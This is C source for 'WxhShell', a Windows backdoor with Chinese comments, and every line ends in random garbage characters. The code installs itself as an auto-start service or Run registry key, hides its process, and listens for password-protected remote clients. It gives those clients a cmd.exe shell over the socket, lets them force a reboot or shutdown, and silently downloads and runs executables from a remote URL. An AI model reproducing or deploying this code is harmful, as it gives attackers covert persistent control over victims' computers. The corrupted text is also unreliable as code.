    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &rR2,3r=  
    if(Boot(SHUTDOWN)) A04U /;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _+MJ%'>S  
    else { {)<v&'*c~  
    closesocket(wsh); Y'X%Aw;`  
    ExitThread(0); ]Hv[IodJ  
    } owv[M6lbD  
    break; F!K>Kz  
    } 1$ {SRU7l  
  // 获取shell Tlr v={  
  case 's': { f|(M.U-  
    CmdShell(wsh); (/] J3  
    closesocket(wsh); dj%!I:Q>u  
    ExitThread(0); G3v5KmT  
    break; j'K/22  
  } hi[pVk~B)  
  // 退出 d#wVLmKZ  
  case 'x': { xgtR6E^k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I%Z  
    CloseIt(wsh); 3G4-^hY<  
    break; sDV Q#}a  
    } ySI !d|_  
  // 离开 0{SL&<&  
  case 'q': { \73ch  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N{>n$ v}  
    closesocket(wsh); gQ.Sa j $  
    WSACleanup(); Xn ;AZu^'R  
    exit(1); BDVtSs<7  
    break; U m+8"W  
        } @KAI4LP  
  } Z?z.?a r  
  } ~Cjn7  
TS5Q1+hWHV  
  // 提示信息 yV(\R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Aiea\j Bv  
} [ikOb8 G#  
  } >o,TZc\  
vr^qWn  
  return; bN@ l?w  
} BsJC0I(  
DlNX 3  
// shell模块句柄 CJI~_3+K  
int CmdShell(SOCKET sock) po7qmLq  
{ >F&47Yn  
STARTUPINFO si; 6LZ;T.0o  
ZeroMemory(&si,sizeof(si)); Rws3V"{`[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5/z/>D;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \nqS+on]  
PROCESS_INFORMATION ProcessInfo; :eLVC7'  
char cmdline[]="cmd"; 29q _BR *:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N,U8YO  
  return 0; b>9>uC@J15  
} >yh2Lri  
S 6,.FYH  
// 自身启动模式 4v|W-h"K  
int StartFromService(void) pY$Q  
{ OK g qT!  
typedef struct xAP+FWyV  
{ 5rUdv}.  
  DWORD ExitStatus; z&^&K}  
  DWORD PebBaseAddress; tFl"n;~T  
  DWORD AffinityMask; *HB-QIl  
  DWORD BasePriority; B,fo(kG  
  ULONG UniqueProcessId; /|#fejPh  
  ULONG InheritedFromUniqueProcessId; 9Lfv^V0  
}   PROCESS_BASIC_INFORMATION; %;"y+YFdv  
Oz#{S:24M+  
PROCNTQSIP NtQueryInformationProcess; ?b5 ^  
PE5G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HLHz2-lI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F1Bq$*'N$w  
-o EW:~y  
  HANDLE             hProcess; dcWD(-  
  PROCESS_BASIC_INFORMATION pbi; [;sRV<  
0'o:#-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -RK- Fu<e  
  if(NULL == hInst ) return 0; |IUWF%~^$+  
!_Z&a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %GIr&V4|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G;XxBA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R,=fv   
S?BG_J6A7  
  if (!NtQueryInformationProcess) return 0; c-FcEW  
%C_HXr@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YkQd  
  if(!hProcess) return 0; s=/v';5J2!  
|)/aGZ+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4]}'Hln*U  
@49S`  
  CloseHandle(hProcess); iM 3V=&)  
G'aDb/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P J[`|  
if(hProcess==NULL) return 0; LC!bIm5'  
\:F_xq  
HMODULE hMod; 0%I=d  
char procName[255]; V,N%;iB}  
unsigned long cbNeeded; x.R4% Z  
t}/( b/VD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c<$OA=n  
)p%E%6p  
  CloseHandle(hProcess); 5bpEYW+  
2WYPO"q  
if(strstr(procName,"services")) return 1; // 以服务启动 fXQNHZ|4  
FH+s s!  
  return 0; // 注册表启动 1|-Dj|  
} C8i^P}y  
i@M [>~  
// 主模块 0v$~90)  
int StartWxhshell(LPSTR lpCmdLine) ,:\|7F  
{ 85xR2<:  
  SOCKET wsl; fIv*T[  
BOOL val=TRUE; fkNbS  
  int port=0; ~Vjl7G\7i  
  struct sockaddr_in door; ,{?%m6.lE  
3n}?bY8@5_  
  if(wscfg.ws_autoins) Install(); !ff&W1@  
RQu(Wu|m.  
port=atoi(lpCmdLine); hSyql  
S\!ana])  
if(port<=0) port=wscfg.ws_port; d <JM36j?  
gQ1;],_  
  WSADATA data; LOV)3{m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :'*~uJrR  
`~CQU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JbQ) sp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .z}~4BY  
  door.sin_family = AF_INET; 6MdiY1Lr!K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "d5n \@[t  
  door.sin_port = htons(port); Ng>h"H  
:@A9](gI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zi*R`;_`,  
closesocket(wsl); :$BCRQ  
return 1; *>qp:;,DKP  
} #d2.\X}A"3  
m<"WDU?y;  
  if(listen(wsl,2) == INVALID_SOCKET) { Bad:n o\W  
closesocket(wsl); ,0HRAmG  
return 1; |T)6yDL  
} ptxbDzOz  
  Wxhshell(wsl); * U=s\  
  WSACleanup(); .O}%  
q2:6QM&  
return 0; }"!I[Ek> y  
Cg?&wj<  
} +<3X J7D  
' x35=@  
// 以NT服务方式启动 o:P}Wg/NK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o@i#|kx,  
{ =\:qo'l  
DWORD   status = 0; r{I% \R!@  
  DWORD   specificError = 0xfffffff; 1rF]yi:X  
H{?vbqQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Jk=I^%~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; KRMQtgahc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =\wxsL  
  serviceStatus.dwWin32ExitCode     = 0; y^v6AM  
  serviceStatus.dwServiceSpecificExitCode = 0; 8~z~_TD6m@  
  serviceStatus.dwCheckPoint       = 0; n!xt5=x P{  
  serviceStatus.dwWaitHint       = 0; kw %};;  
[dIXR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OO*zhGD;[  
  if (hServiceStatusHandle==0) return; qUGC" <W  
"~7>\>UFh  
status = GetLastError(); .|b$NM  
  if (status!=NO_ERROR) # ,_u_'C*!  
{ JJ2_hVU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4UvZ)^r  
    serviceStatus.dwCheckPoint       = 0; 0C irfcs}Z  
    serviceStatus.dwWaitHint       = 0; DiwxXqY  
    serviceStatus.dwWin32ExitCode     = status; g<f <Ip=  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;=; 9tX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vyX\'r.~7  
    return; 92x(u%~E  
  } Be=u&T:~  
Zrk4*/ VY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  s ;oQS5Y  
  serviceStatus.dwCheckPoint       = 0; fS[,vPl  
  serviceStatus.dwWaitHint       = 0; _Wp{ [TH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dq&yf7  
} Xr$J9*Jk-  
S^>,~R.TX  
// 处理NT服务事件,比如:启动、停止 C|). ;V&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lpeEpI/gM  
{ dx &'fe*?  
switch(fdwControl) JedmaY06=  
{ Raxrb=7  
case SERVICE_CONTROL_STOP: t2I5hSf  
  serviceStatus.dwWin32ExitCode = 0; )Sg~[WxDv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; UA8GL D9  
  serviceStatus.dwCheckPoint   = 0; zHL@i0>^  
  serviceStatus.dwWaitHint     = 0; f]|ysf  
  { /VS [pXXT|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E.ly#2?  
  } D2!X?"[ P  
  return; */|lJm'R  
case SERVICE_CONTROL_PAUSE: Vq5k+3W+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5eoska#y   
  break; gp^ 5#  
case SERVICE_CONTROL_CONTINUE: FsV'Cu@!U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; iH@yCNE"  
  break; h[1MtmNw  
case SERVICE_CONTROL_INTERROGATE: D@|W<i-  
  break; )5%'.P>  
}; V_RTI.3p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :xD=`ib  
} RwPN gRF  
u7[ykyV  
// 标准应用程序主函数 v:o({Y 1Aq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Rhz_t@e  
{ L%K\C  
F\AX :  
// 获取操作系统版本 ( Qcp{q  
OsIsNt=GetOsVer(); , GY h9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jbu8~\"  
IOoz^/'  
  // 从命令行安装 fX.>9H[w@~  
  if(strpbrk(lpCmdLine,"iI")) Install(); )V ;mwT!Q  
?~;:jz|9<'  
  // 下载执行文件 =%gRW5R%  
if(wscfg.ws_downexe) { X4t s)>"d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !n$tr  
  WinExec(wscfg.ws_filenam,SW_HIDE); .J.-Mm` .  
} @t`Xq1  
xw T%),  
if(!OsIsNt) { 9h%?QC  
// 如果时win9x,隐藏进程并且设置为注册表启动 }_;!hdY q  
HideProc(); . I'o  
StartWxhshell(lpCmdLine); Yd=a}T  
} k^%B5  
else ?a8(a zn  
  if(StartFromService()) @` Eg(  
  // 以服务方式启动 gV`=jAE_  
  StartServiceCtrlDispatcher(DispatchTable); 0=q;@OIf  
else MpqZH{:?G  
  // 普通方式启动 E)7F\w  
  StartWxhshell(lpCmdLine); OhmQ,  
]oV{t<0a  
return 0; MR,R}B$  
} UybW26C;aU  
>sjhA|gXk  
mBJeqG  
xIGfM>uq  
=========================================== v-Fg +  
D?,#aB"  
ZA9sTc[ g  
jhX[fT1m  
drd/jH&  
-0eq_+oQ  
" =rQP[ICs!  
EVUq--)~  
#include <stdio.h> f%)zg(YlO  
#include <string.h> ,7)C"  
#include <windows.h> ^o@,3__7Q  
#include <winsock2.h> CWG6;NT6m  
#include <winsvc.h> q@~L&{  
#include <urlmon.h> ~h=X8-D  
+ "}=d3E6  
#pragma comment (lib, "Ws2_32.lib") GF:`>u{C  
#pragma comment (lib, "urlmon.lib") x]{E)d"!  
~!d/8?!   
#define MAX_USER   100 // 最大客户端连接数 l Js <  
#define BUF_SOCK   200 // sock buffer m8JR@!t7  
#define KEY_BUFF   255 // 输入 buffer =!UR=Hq  
<{:  
#define REBOOT     0   // 重启 9Sq%s&  
#define SHUTDOWN   1   // 关机 Lru-u:  
3!o4)yJWx  
#define DEF_PORT   5000 // 监听端口 b7\ cxgRq  
Yy JPHw)Z  
#define REG_LEN     16   // 注册表键长度 cZ+7.oDu  
#define SVC_LEN     80   // NT服务名长度 ZC 4*{  
|nk3^;Yf  
// 从dll定义API 5Wj; [2 )  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ExXM:1 e26  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /_-;zL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rf9_eP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >71&]/Rv  
uH^ PQ  
// wxhshell配置信息 "4j:[9vR\  
struct WSCFG { geefnb  
  int ws_port;         // 监听端口 PaCzr5!~f  
  char ws_passstr[REG_LEN]; // 口令 YIp-Y}6  
  int ws_autoins;       // 安装标记, 1=yes 0=no {,j6\Cj4  
  char ws_regname[REG_LEN]; // 注册表键名 ]Lqt( c  
  char ws_svcname[REG_LEN]; // 服务名 \hP=-J[~C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0-3rQ~u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,Ci/xnI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cM&'[CI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +>g`m)?p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r\9TMg`C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |\uYv|sT  
dYojm1MQ  
}; z&3]%t `C  
iY/KSX^~O  
// default Wxhshell configuration gCVryB@z2  
struct WSCFG wscfg={DEF_PORT, ]&i+!$N_  
    "xuhuanlingzhe", Y &r]lD  
    1, :Px\qh}K  
    "Wxhshell", I]J*BD#n.  
    "Wxhshell", +MO E  
            "WxhShell Service", &,-p',\-  
    "Wrsky Windows CmdShell Service", , Ut Hc]  
    "Please Input Your Password: ", -05U%l1e  
  1, re,.@${H  
  "http://www.wrsky.com/wxhshell.exe", (%Oe_*e}Y  
  "Wxhshell.exe" K2/E#}/  
    }; C@HD(..#  
af+}S9To  
// 消息定义模块 r.FLGD U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2Q$\KRE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WY)^1Gb$ux  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /'>;JF  
char *msg_ws_ext="\n\rExit."; ,R-Y~+!  
char *msg_ws_end="\n\rQuit."; Wc#:f 8dr  
char *msg_ws_boot="\n\rReboot..."; H] qq ~bO[  
char *msg_ws_poff="\n\rShutdown..."; iTNqWU-o  
char *msg_ws_down="\n\rSave to "; 8tWE=8<  
_Nu` )m  
char *msg_ws_err="\n\rErr!"; 6|;0ax4:P  
char *msg_ws_ok="\n\rOK!"; %7`d/dgR  
1BD6 l2y  
char ExeFile[MAX_PATH]; ~Y/z=^  
int nUser = 0; sdF3cX  
HANDLE handles[MAX_USER]; \kwe51MQ  
int OsIsNt; i1/}XV  
= ?N^>zie  
SERVICE_STATUS       serviceStatus; ;x>;jS.t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ":&|[9/  
uaQ&&5%%J  
// 函数声明 2_olT_#  
int Install(void); l:tpL(%  
int Uninstall(void); wd`R4CKhP]  
int DownloadFile(char *sURL, SOCKET wsh); `QCD$=  
int Boot(int flag); O~Uw&Bq  
void HideProc(void); 8D~Dd!~P  
int GetOsVer(void); .D@/y uV  
int Wxhshell(SOCKET wsl); oBUh]sR{.  
void TalkWithClient(void *cs); ;2W2MZ!TF  
int CmdShell(SOCKET sock); Hz4uZ*7\|  
int StartFromService(void); "=`~iXT{e  
int StartWxhshell(LPSTR lpCmdLine); ]]V^:"ne  
#6FaIq92V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0P:F97"1,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >DmRP7v   
lIy/;hIc  
// 数据结构和表定义 n^Au*'  
SERVICE_TABLE_ENTRY DispatchTable[] = uf0^E3H  
{ lWl-@ *'  
{wscfg.ws_svcname, NTServiceMain}, Y_shy6" KH  
{NULL, NULL} 7+] F^ 6  
}; LsotgQ8   
(E]"Srwh  
// 自我安装 ;G$)MS'nB  
int Install(void) 9t\ [N/  
{ AuM:2N2  
  char svExeFile[MAX_PATH]; (jneEo=vr  
  HKEY key; h=wf>^l  
  strcpy(svExeFile,ExeFile); NFM-)Z57  
B#H2RTc  
// 如果是win9x系统,修改注册表设为自启动 L3' \r  
if(!OsIsNt) { f8F1~q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .hnF]_QQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Lj-{t% }  
  RegCloseKey(key); ;op'V6iG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4}PeP^pj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :Q#H(\26r  
  RegCloseKey(key); "$%{}{#W0  
  return 0; z+2u-jG  
    } ?-M)54b\  
  } 92NC]_jw  
} \Qb>:  
else { z'v9j_\  
#s/{u RYQ  
// 如果是NT以上系统,安装为系统服务 j!"iYtgV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Hm<M@M$aG  
if (schSCManager!=0) %!W 6<ioW  
{ ]qF<Zw7  
  SC_HANDLE schService = CreateService {K6Kx36  
  ( N)Qlkz$X  
  schSCManager, $R3.yX=[\  
  wscfg.ws_svcname, nEuct4BcL}  
  wscfg.ws_svcdisp, 3 pHn_R  
  SERVICE_ALL_ACCESS, %j!z\pa  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q 8tP29  
  SERVICE_AUTO_START, )OS>9 kFH  
  SERVICE_ERROR_NORMAL, >J?jr&i  
  svExeFile, ~m3V]v(q7  
  NULL, V&$  J;  
  NULL, 2M5*bNU_:  
  NULL, k^~@9F5k  
  NULL, K7y!s :rg!  
  NULL FDZeIj9uF  
  ); w@4t$bd7  
  if (schService!=0) f45;fT>   
  { 2"B}}  
  CloseServiceHandle(schService); $&c<T4$d  
  CloseServiceHandle(schSCManager); -(|7`U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :K!GR  
  strcat(svExeFile,wscfg.ws_svcname); k,yc>3P;U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7Q<Kha  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5? S{W  
  RegCloseKey(key); m[//_TFf]  
  return 0; 8b8e^\l(  
    } _m) gO/02A  
  } A?^A*e  
  CloseServiceHandle(schSCManager); o9DYr[  
} f]{1ZU%4  
} a)YJ4\Qg[  
.eZPp~[lAN  
return 1; Ew)n~!s  
} 5e~ j  
$X{B* WF  
// 自我卸载 jb#1&L 14  
int Uninstall(void) 9y d-&yDG  
{ .YnP% X=  
  HKEY key; VPq5xSc?  
L<{OBuR  
if(!OsIsNt) { *FI5z[8,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1( QWt  
  RegDeleteValue(key,wscfg.ws_regname); )VV4HoH]8  
  RegCloseKey(key); tk] _QX %  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 24.7S LXO  
  RegDeleteValue(key,wscfg.ws_regname); sM);gI14  
  RegCloseKey(key); J,(U<%n  
  return 0; 62k9"xSH  
  } GA%"w=M\  
} p4<M|1Z&  
} Q8M:7#ySji  
else { \]~kyy  
WsK"^"Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [1Qk cR  
if (schSCManager!=0) 6@,'m  
{ CguU+8 ]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `gBXeG2fn  
  if (schService!=0) f0HV*%8  
  { y~#R:&d"  
  if(DeleteService(schService)!=0) { z_[ 3IAZ  
  CloseServiceHandle(schService); gpO_0U4lQ]  
  CloseServiceHandle(schSCManager); %i]uW\~U  
  return 0; y:^>(l#;  
  } nJM9c[Ou^H  
  CloseServiceHandle(schService); H*:r>Lm=  
  } u\Erta`  
  CloseServiceHandle(schSCManager); ]'bQ(<^#  
} <or>bo^  
} iJynR [7  
Cs~\FI1wR  
return 1; ^r?sgJ  
}  4.Jaw+  
(VF4FC  
// 从指定url下载文件 T/spUlWu  
int DownloadFile(char *sURL, SOCKET wsh) 41+E UMc  
{ K:lT-*+S  
  HRESULT hr; -+S~1`0  
char seps[]= "/"; ^F{)&#4  
char *token; 8d*<Aki?;  
char *file; VdN+~+A:  
char myURL[MAX_PATH]; 6jy n,GU  
char myFILE[MAX_PATH]; 4'4s EjyA  
xZ{|D  
strcpy(myURL,sURL); 3<.j`JB@&  
  token=strtok(myURL,seps);  kAe-d  
  while(token!=NULL) @gVyLefS6g  
  { yZPFo  
    file=token; eABdy e  
  token=strtok(NULL,seps); piM11W}|/  
  } LZAj4|~,m  
qKb- aP-  
GetCurrentDirectory(MAX_PATH,myFILE); ] F) -}  
strcat(myFILE, "\\"); v %PWr5]  
strcat(myFILE, file); }rAN2D]"}  
  send(wsh,myFILE,strlen(myFILE),0); i!+3uHWu`)  
send(wsh,"...",3,0); p/^\(/\])  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @W5hrei  
  if(hr==S_OK) $8yGY  
return 0; }W>[OY0^A  
else u g$\&rM>  
return 1; # *aGzF  
-~GJ; Uw  
} ah$7 Oudj  
hq[ gj?P  
// 系统电源模块 p(&o'{fb  
int Boot(int flag) ]TZWFL-  
{ {O,M}0Eg  
  HANDLE hToken; (,9cCnvmYU  
  TOKEN_PRIVILEGES tkp; )LMuxj  
i I Nu`>I  
  if(OsIsNt) { t>|N4o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YH+\rb_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C-b%PgA  
    tkp.PrivilegeCount = 1; s{EX ;   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TOF62,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); = (h;L$  
if(flag==REBOOT) { <|.! Px86  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  G#n)|p  
  return 0; &"6ktKrIg  
} qy(/   
else { Gy7x?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |DS@90}  
  return 0; Cspm\F  
} Y52xrIvl\  
  } Hh=::Bi  
  else { [?6D1b[  
if(flag==REBOOT) { ph (k2cb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^dKaa  
  return 0; 0aoHv  
} i1\ /\^  
else { d3J_IW+8R$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =WRU<`\  
  return 0; W$&Ets8zo  
} hg/&[/eodm  
} 8VGXw;(Y,d  
tpzdYokh >  
return 1; T.N7`  
} :=7;P)  
;pK"N:|  
// win9x进程隐藏模块 Jl9TMu!1]  
void HideProc(void) lXy@Cf  
{ 6Tmb@<I_  
#IA(*oM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #{cpG2Rs  
  if ( hKernel != NULL ) 6U3@-+lF  
  { \-id[zKb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !h(0b*FUJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ybg`Z  
    FreeLibrary(hKernel); +-137!x\q  
  } )%c)-c  
+Z0E?,Oz  
return; /kVc7 LC  
} u`nn{C4D"  
Ci:QIsu*  
// 获取操作系统版本 nQVBHL>  
int GetOsVer(void) Ot<!YM  
{ y_r6T XnGL  
  OSVERSIONINFO winfo; BJr Nbo;T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /aEQ3x  
  GetVersionEx(&winfo); dPX>A4wp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bv];Gk*Z-  
  return 1; U2u>A r  
  else e@VRdhb  
  return 0; py4_hj\v  
} l0 _O<  
 e n":  
// 客户端句柄模块 !g:UM R  
int Wxhshell(SOCKET wsl) r\`m[Q  
{ )j*qGsOg  
  SOCKET wsh; y~ LVK8  
  struct sockaddr_in client; ri`|qy6! |  
  DWORD myID; =LzW#s=O  
,"ZlY}!Gn  
  while(nUser<MAX_USER) dj]N59<  
{ r&RSQHa)  
  int nSize=sizeof(client); 5E=Odep`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q;JQs:U!  
  if(wsh==INVALID_SOCKET) return 1; s:H1v&t,<  
G8'3.;"W5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $Yc9><i  
if(handles[nUser]==0) (5 hu W7v  
  closesocket(wsh); Op~+yMef  
else `-m7CT sA  
  nUser++; w ?aLWySYT  
  } ]Hq%Q~cE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  `SrVMb(  
_aYQ(FO  
  return 0;  v<W++X7z  
} #u^d3 $Nj  
uI/ A_  
// 关闭 socket s5e}X:  
void CloseIt(SOCKET wsh) 4LLCb7/5lP  
{ <KX#;v!I  
closesocket(wsh); DK;-2K  
nUser--; <D}k@M Z  
ExitThread(0); IZLX[y  
} $-73}[UA 4  
zT"#9"["  
// 客户端请求句柄 ?*=Jq  
void TalkWithClient(void *cs) `^ok5w"oi  
{ ;C'*Ui  
_nUuiB>  
  SOCKET wsh=(SOCKET)cs; Sr IynO  
  char pwd[SVC_LEN]; =9-c*bL  
  char cmd[KEY_BUFF]; he@swE&  
char chr[1]; 1|--Xnv  
int i,j; -L@=j  
KV2X[1  
  while (nUser < MAX_USER) { L 'y+^L|X  
3;A AC (X  
if(wscfg.ws_passstr) { IV76#jL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "\ md  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &I8ZVtg  
  //ZeroMemory(pwd,KEY_BUFF); lf 3W:0 K  
      i=0; $l=m?r=  
  while(i<SVC_LEN) { uP:'e8  
umk[\}Ip+P  
  // 设置超时 }tN"C 3)@  
  fd_set FdRead; ~7|z2L  
  struct timeval TimeOut; sy;~(rpg  
  FD_ZERO(&FdRead); H|]Q;,C  
  FD_SET(wsh,&FdRead); \TjsXy=:)  
  TimeOut.tv_sec=8; ET4YoH>  
  TimeOut.tv_usec=0; bA:abO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X(~NpLR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [LE_lATjU  
*=rl<?tX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y7JJ[:~~  
  pwd=chr[0]; JdE=!~\8  
  if(chr[0]==0xd || chr[0]==0xa) { $ |AxQQ%f  
  pwd=0; ~O!v?2it8q  
  break; p 4=^ UP  
  } 2]|+.9B  
  i++; x(A .^Yz  
    } PM{kiz^  
z?7pn}-  
  // 如果是非法用户,关闭 socket +]G;_/[2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !"Kg b;A  
} }0:=)e  
r!+)U#8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'j|;M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q*>`HTPcU  
SKGYmleR  
while(1) { >354O6  
Y%2<}3P  
  ZeroMemory(cmd,KEY_BUFF); DF<_Ns!  
8@ b83  
      // 自动支持客户端 telnet标准   I<DS07K  
  j=0; ^j@,N&W:lG  
  while(j<KEY_BUFF) { Xr-eDUEi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p\Jz<dkN1  
  cmd[j]=chr[0]; o}<}zTU  
  if(chr[0]==0xa || chr[0]==0xd) { 6:Ra3!V"v  
  cmd[j]=0; ;L|%H/SH  
  break; WSL_Dc  
  } Rh iiQ  
  j++; 2%QY~Ku~  
    } 1 Nv_;p.{  
7^=O^!sa  
  // 下载文件 =F6J%$  
  if(strstr(cmd,"http://")) { ))<3+^S0V\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \59+JLmP4  
  if(DownloadFile(cmd,wsh)) xI$B",?(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |:C=j/f   
  else ,JX/` 7y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nI&Tr_"tm  
  } U]O7RH  
  else { KnKV+:"  
\)pk/  
    switch(cmd[0]) { R["_Mff  
